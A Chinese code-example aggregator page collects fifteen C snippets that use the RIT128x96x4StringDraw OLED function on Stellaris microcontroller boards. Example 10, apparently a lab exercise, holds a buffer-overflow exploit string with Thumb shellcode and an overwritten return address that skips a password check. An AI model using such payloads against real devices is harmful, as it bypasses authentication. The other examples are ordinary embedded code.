本文整理汇总了C++中RIT128x96x4StringDraw函数的典型用法代码示例。如果您正苦于以下问题:C++ RIT128x96x4StringDraw函数的具体用法?C++ RIT128x96x4StringDraw怎么用?C++ RIT128x96x4StringDraw使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了RIT128x96x4StringDraw函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: main
void main () {
SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
SYSCTL_XTAL_8MHZ);
// NOTE: actual clock speed is pll / 2/ div = 400M / 2/ 10
// SysCtlClockSet(SYSCTL_SYSDIV_10 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);
initializeGlobalData(); // initialize global data
#if DEBUG
RIT128x96x4Init(1000000);
#endif
#if DEBUG
char num[30];
usnprintf(num, 30, "begin CommandTest");
RIT128x96x4StringDraw(num, 0, 0, 15);
#endif
strncpy(global.commandStr, "M A", COMMAND_LENGTH - 1); // this is the test command
commandTask.runTaskFunction(commandTask.taskDataPtr);
#if DEBUG
usnprintf(num, 30, global.responseStr);
RIT128x96x4StringDraw(num, 0, 70, 7);
usnprintf(num, 30, "done %d %d", global.measurementSelection, global.responseReady);
RIT128x96x4StringDraw(num, 0, 80, 15);
#endif
}
示例2: ADC0IntHandler
void ADC0IntHandler()
{
unsigned long adc0Value; // Holds the ADC result
char adc0String[5]; // Holds the string-converted ADC result
// 清ADC0中断标志.
// ADCIntClear (unsigned long ulBase, unsigned long ulSequenceNum)
ADCIntClear(ADC0_BASE, 0);
//从SSO读出转换结果 (FIFO0),本例中只有一个采样.如果要使用多个转换源,需要使用数组做为参数传递给API函数,保存FIFO转换结果.
// long ADCSequenceDataGet (unsigned long ulBase,unsigned long ulSequenceNum,unsigned long *pulBuffer)
ADCSequenceDataGet(ADC0_BASE, 0, &adc0Value);
adc0Value= ((59960 - (adc0Value * 100)) / 356);
// 在OLED上显示当前温度
usprintf(adc0String, "%d", adc0Value);
IntMasterDisable();
RIT128x96x4StringDraw("Current temp : ", 6, 48, 15);
RIT128x96x4StringDraw(adc0String, 94, 48, 15);
IntMasterEnable();
// ADC模块空闲,可以进行下一次转换
adc_busy=0;
}
示例3: getData
void getData(int* valuePtr)
{
// declare a temp place to store the data
// int tempValue;
static int i = 0;
char myData[2];
// let valuePtr point to it
// valuePtr = &tempValue;
// get the data
*valuePtr = i;
myData[0] = i + '0'; // convert the int i to ascii
myData[1] = '\0'; // terminate the string
// display its value as a character
RIT128x96x4StringDraw("getData data is: \n", 15, 24, 15);
RIT128x96x4StringDraw(myData, 15, 34, 15);
delay(1000); // delay so we can read the display
i = (i+1) % 8;
// return;
}
示例4: displayInfo
//*****************************************************************************
// Function to display the displays the current height (mili Volts), reference
// height (mili Volts) and the current height as a percentage.
//*****************************************************************************
void displayInfo(int height, int degrees, int main, int tail)
{
char string[40];
sprintf(string, "main: %3d ", main);
RIT128x96x4StringDraw(string, 5, 14, 15);
sprintf(string, "tail: %3d ", tail);
RIT128x96x4StringDraw(string, 5, 24, 15);
sprintf(string, "Hgt. (%%) = %d%% ", height);
RIT128x96x4StringDraw(string, 5, 64, 15);
sprintf (string, "yaw: %5d", yaw);
RIT128x96x4StringDraw (string, 5, 74, 15);
sprintf (string, "Deg = %4d", degrees);
RIT128x96x4StringDraw (string, 5, 84, 15);
if ((g_ulSampCnt % 25) == 0){
sprintf(string, " Main: %d Tail: %d\n----------\n", main_duty, tail_duty);
UARTSend (string);
sprintf(string, " Alt (%%): %d [%d] {%d}\n----------\n", desiredHeight, height, altError);
UARTSend (string);
sprintf(string, " Yaw: %d [%d] {%d}\n----------\n",desiredYaw, degrees, yawError);
UARTSend (string);
sprintf(string, " State: %d\n----------\n", state);
UARTSend (string);
}
}
示例5: printADCString
// Prints to the OLED display the necessary string for the menu where the ADC distance values are being displayed
void printADCString() {
RIT128x96x4StringDraw("ADC 0:\0", 30, 24, 15);
RIT128x96x4StringDraw("ADC 1:\0", 30, 34, 15);
RIT128x96x4StringDraw("ADC 2:\0", 30, 44, 15);
RIT128x96x4StringDraw("ADC 3:\0", 30, 54, 15);
RIT128x96x4StringDraw("Press SEL to exit\0", 15, 74, 15);
}
示例6: DisplayIntStatus
//*****************************************************************************
//
// Display the interrupt state on the OLED. The currently active and pending
// interrupts are displayed.
//
//*****************************************************************************
void
DisplayIntStatus(void)
{
unsigned long ulTemp;
char pcBuffer[4];
//
// Display the currently active interrupts.
//
ulTemp = HWREG(NVIC_ACTIVE0);
pcBuffer[0] = (ulTemp & 1) ? '1' : ' ';
pcBuffer[1] = (ulTemp & 2) ? '2' : ' ';
pcBuffer[2] = (ulTemp & 4) ? '3' : ' ';
pcBuffer[3] = '\0';
RIT128x96x4StringDraw(pcBuffer, 42, 40, 15);
//
// Display the currently pending interrupts.
//
ulTemp = HWREG(NVIC_PEND0);
pcBuffer[0] = (ulTemp & 1) ? '1' : ' ';
pcBuffer[1] = (ulTemp & 2) ? '2' : ' ';
pcBuffer[2] = (ulTemp & 4) ? '3' : ' ';
RIT128x96x4StringDraw(pcBuffer, 96, 40, 15);
}
示例7: main
//*****************************************************************************
//
// Exchange data between two functions
//
//*****************************************************************************
int
main(void)
{
//
// Set the clocking to run directly from the crystal.
//
SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
SYSCTL_XTAL_8MHZ);
//
// Initialize the OLED display.
//
RIT128x96x4Init(1000000);
// declare a shared variable and a pointer to it
int myValue = 0;
int* myPtr = &myValue; // let myPtr point to myValue
char myData[2]; // declare a character array
while(TRUE)
{
getData(myPtr);
myData[0] = *myPtr+'0';
myData[1] = '\0'; // terminate the string
RIT128x96x4StringDraw("Data returned: \n", 15, 44, 15);
RIT128x96x4StringDraw(myData, 15, 54, 15);
delay(1000); // delay so we can read the display
}
}
示例8: main
int main()
{
// Set the clocking to run directly from the crystal.
SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);
//Initialize peripherals
InitializeDisplay();
InitializeTimers();
InitializeADC();
InitializeInterrupts();
//Main program loop
unsigned long avgADCValue = 0;
while(1)
{
if(BufOneReadyToRead)
{
avgADCValue = GetAvgOfBuf(1);
usnprintf(str, 25, "Buf1: %5u", avgADCValue);
RIT128x96x4StringDraw(str, 0, 0, 15);
BufOneReadyToRead = 0;
}
else if(BufTwoReadyToRead)
{
avgADCValue = GetAvgOfBuf(2);
usnprintf(str, 25, "Buf2: %5u", avgADCValue);
RIT128x96x4StringDraw(str, 0, 10, 15);
BufTwoReadyToRead = 0;
}
}
}
示例9: SysTickInit
//*****************************************************************************
//
// Initializes the hardware's system clock and the SysTick Interrupt
//
//*****************************************************************************
void SysTickInit() {
//
// Set the clocking to run directly from the crystal.
//
SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);
//
// Get the system clock speed.
//
systemClock = SysCtlClockGet();
//
// Configure SysTick interrupts
//
SysTickPeriodSet(systemClock / SYSTICK_FREQUENCY);
SysTickIntEnable();
SysTickEnable();
//
// Code to cause a wait for a "Select Button" press
//
SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG);
GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7);
RIT128x96x4Init(1000000);
RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15);
RIT128x96x4StringDraw("To Continue", 32, 32, 15);
while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7));
SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG);
SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG);
}
示例10: main
void main(void)
{
// Set the clocking to run directly from the crystal.
SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
SYSCTL_XTAL_8MHZ);
RIT128x96x4Init(1000000); // Initialize the OLED display.
// Replace 'Harold' and 6 with exploit string and its
// length
printUserWelcome("\0\0\0" // Front padding
"\x4f\xf0\x01\x06" // mov.w r6, #1
"\x02\x96" // str r6, [sp, #8]
"\x40\xf2\x93\x1e" // movw lr, #403
"\x70\x47" // bx lr
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" // End padding
"\xD1\x00\x00\x20", 43); // Place 0x200000D1 in the link register instead
if (gPasswordEntered)
{
RIT128x96x4StringDraw("Success!", 32, 24, 15);
}
else
{
RIT128x96x4StringDraw("Failure!", 32, 24, 15);
}
while (1);
}
示例11: chooseSpeed
// Prints to the OLED display the necessary string for the menu where the ADC distance values are being displayed
void chooseSpeed() {
RIT128x96x4StringDraw("Choose a speed\0", 27, 0, 15);
RIT128x96x4StringDraw("Press up for 1\0", 27, 20, 15);
RIT128x96x4StringDraw("Press down for 2\0", 22, 34, 15);
RIT128x96x4StringDraw("1. Faster\0", 40, 54, 15);
RIT128x96x4StringDraw("2. Slower\0", 40, 64, 15);
}
示例12: initMain
static void initMain(void){
// Method for displaying the screen for the main menu
drawLogo();
RIT128x96x4StringDraw("Classic", 10, 50, 15);
RIT128x96x4StringDraw("Continuous", 10, 60, 15);
RIT128x96x4StringDraw("Instructions", 10, 70, 15);
RIT128x96x4StringDraw("High Scores", 10, 80, 15);
drawPointer(50);
}
示例13: main
//*****************************************************************************
//
// This example application demonstrates the use of the timers to generate
// periodic interrupts.
//
//*****************************************************************************
int
main(void)
{
//
// Set the clocking to run directly from the crystal.
//
SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN |
SYSCTL_XTAL_8MHZ);
//
// Initialize the OLED display and write status.
//
RIT128x96x4Init(1000000);
RIT128x96x4StringDraw("Timers example", 18, 24, 15);
RIT128x96x4StringDraw("T1: 0 T2: 0", 24, 32, 15);
//
// Enable the peripherals used by this example.
//
SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0);
SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER1);
//
// Enable processor interrupts.
//
IntMasterEnable();
//
// Configure the two 32-bit periodic timers.
//
TimerConfigure(TIMER0_BASE, TIMER_CFG_PERIODIC);
TimerConfigure(TIMER1_BASE, TIMER_CFG_PERIODIC);
TimerLoadSet(TIMER0_BASE, TIMER_A, SysCtlClockGet());
TimerLoadSet(TIMER1_BASE, TIMER_A, SysCtlClockGet() / 2);
//
// Setup the interrupts for the timer timeouts.
//
IntEnable(INT_TIMER0A);
IntEnable(INT_TIMER1A);
TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT);
TimerIntEnable(TIMER1_BASE, TIMER_TIMA_TIMEOUT);
//
// Enable the timers.
//
TimerEnable(TIMER0_BASE, TIMER_A);
TimerEnable(TIMER1_BASE, TIMER_A);
//
// Loop forever while the timers run.
//
while(1)
{
}
}
示例14: rit_p14201_out
void rit_p14201_out(char const* s)
{
rit_add_lines(s);
for (int i = 0; i < RIT_ROW; ++i)
{
RIT128x96x4StringDraw(g_rit_empty_line, 2, i * 8, 0);
RIT128x96x4StringDraw(g_rit_buf[i], 2, i * 8, RIT_BRIGHTNESS);
}
}
示例15: displayScores
static void displayScores(void){
// Method for displaying high scores
RIT128x96x4StringDraw("High Scores", 40, 0, 15);
static char s1[24];
usprintf(s1, "Classic Mode: %d", classic);
RIT128x96x4StringDraw(s1, 0, 40, 15);
static char s2[24];
usprintf(s2, "Continuous Mode: %d", continuous);
RIT128x96x4StringDraw(s2, 0, 60, 15);
}